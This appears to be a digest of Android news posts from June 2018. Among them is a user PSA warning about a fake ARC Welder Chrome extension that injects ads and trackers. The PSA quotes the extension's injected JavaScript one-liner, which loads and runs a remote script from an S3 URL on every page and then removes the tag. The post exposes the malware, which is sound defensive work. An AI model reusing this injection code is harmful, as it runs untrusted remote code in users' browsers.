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Google Maps starts integrating Waze-like incident reporting for some

Posted: 29 Jun 2018 04:59 AM PDT

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Gboard testing smart replies for WhatsApp, Facebook, Allo, Snapchat, and more

Posted: 29 Jun 2018 02:08 PM PDT

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T-Mobile Universal Profile RCS started rolling out slowly • r/tmobile

Posted: 29 Jun 2018 08:33 AM PDT

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Custom themes now possible on rooted Android P devices with Substratum

Posted: 29 Jun 2018 09:09 AM PDT

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PSA: Avoid the fake Android App Runtime (ARC Welder) extension (with over 32,000 installs!) on the Chrome Web Store, as it injects ads and trackers into every webpage you visit. It is the only one that shows up in search results and the real one appears to be installable, but delisted/"noindex"-ed

Posted: 29 Jun 2018 09:12 AM PDT

The fake one, to report: https://chrome.google.com/webstore/detail/arc-weldercom/pfpggebmpjcgdbcnhodbfgdfmipnanoh?hl=en

This almost threw me off for a bit because the real ARC Welder, which I'll link at the end of the post for convenience, doesn't seem to show up when searching using the Web Store's search. This fake one is the only result when searching for ARC Welder there. Also, it showed up for me as the top result for ARC Welder Chrome on Google Search, and the real one won't show up in Google Search at all because it has a "noindex" meta tag.

This extension inserts this insidious piece of Javascript into every site you visit:

(function(){var script=document.createElement("script");script.src="///s3.amazonaws.com/js-cache/1bbe2f4535e7dfb295.js";document.head.appendChild(script);document.head.removeChild(script)})();

In its background.js this is obfuscated to avoid detection. It is pretty poorly obfuscated however.

I put the contents of that JS file (unminified) on pastebin so you don't need to go there yourself:

https://pastebin.com/1jbs7aJS

It also has a message in it like this:

<b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help. blah blah blah

So this is probably generic crapware that comes with other shady chrome extensions, judging by the fact this message appeared in the shady "Imgur Uploader" extension too:

https://news.softpedia.com/news/imgur-uploader-chrome-extension-turns-to-the-dark-side-starts-injecting-ads-504629.shtml

It also inserts tons of other crap scripts from various domains into the page.

I don't have time to look through them all, but to be safe, if you had this installed while you typed in any passwords you should probably change them!

I don't know if it's against Amazon's TOS to be using AWS for this, but if anyone knows if it is then maybe that script URL can get banned too.

The real ARC Welder: https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn

It is for some reason delisted from search engines with a "noindex" meta tag, hence this shady extension's ability to get search traffic.

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Google Home app testing a redesign with Google's Material Theme

Posted: 29 Jun 2018 10:02 AM PDT

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A New Universal Music Player

Posted: 29 Jun 2018 10:04 AM PDT

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Facebook patent would turn your mic on to analyze how you watch ads | Ars Technica

Posted: 29 Jun 2018 08:56 AM PDT

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Tmobile announces support for RCS UP 1.0...but for it to work right they need 2.0

Posted: 29 Jun 2018 04:49 PM PDT

They said they are rolling out "Version 1.0" That was literally introduced years ago. Last year version 2.0 was introduced brought alot of improvements, and among them was network interoperability. So literally, they just improved the RCS between tmobile customers which they were already using. Even when they roll out to more customers, Tmobile wont bebale to talk to other RCS ppl outside of Tmobile until they upgrade to version 2.0. I have no idea why they would launch 1.0 when the current version is 2.2. One thing to consider is Tmobile is using the Samsung hub instead of Googles own. Both hubs should beable to talk to eachother but again, Tmobile has to upgrade before they can talk to others

Here is some reading for UP 2.0 https://www.gsma.com/futurenetworks/digest/universal-profile-version-2-0-advanced-rcs-messaging/

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There's a Google Play Store bug right now which prevents viewing a developer’s full list of Android apps

Posted: 29 Jun 2018 11:37 AM PDT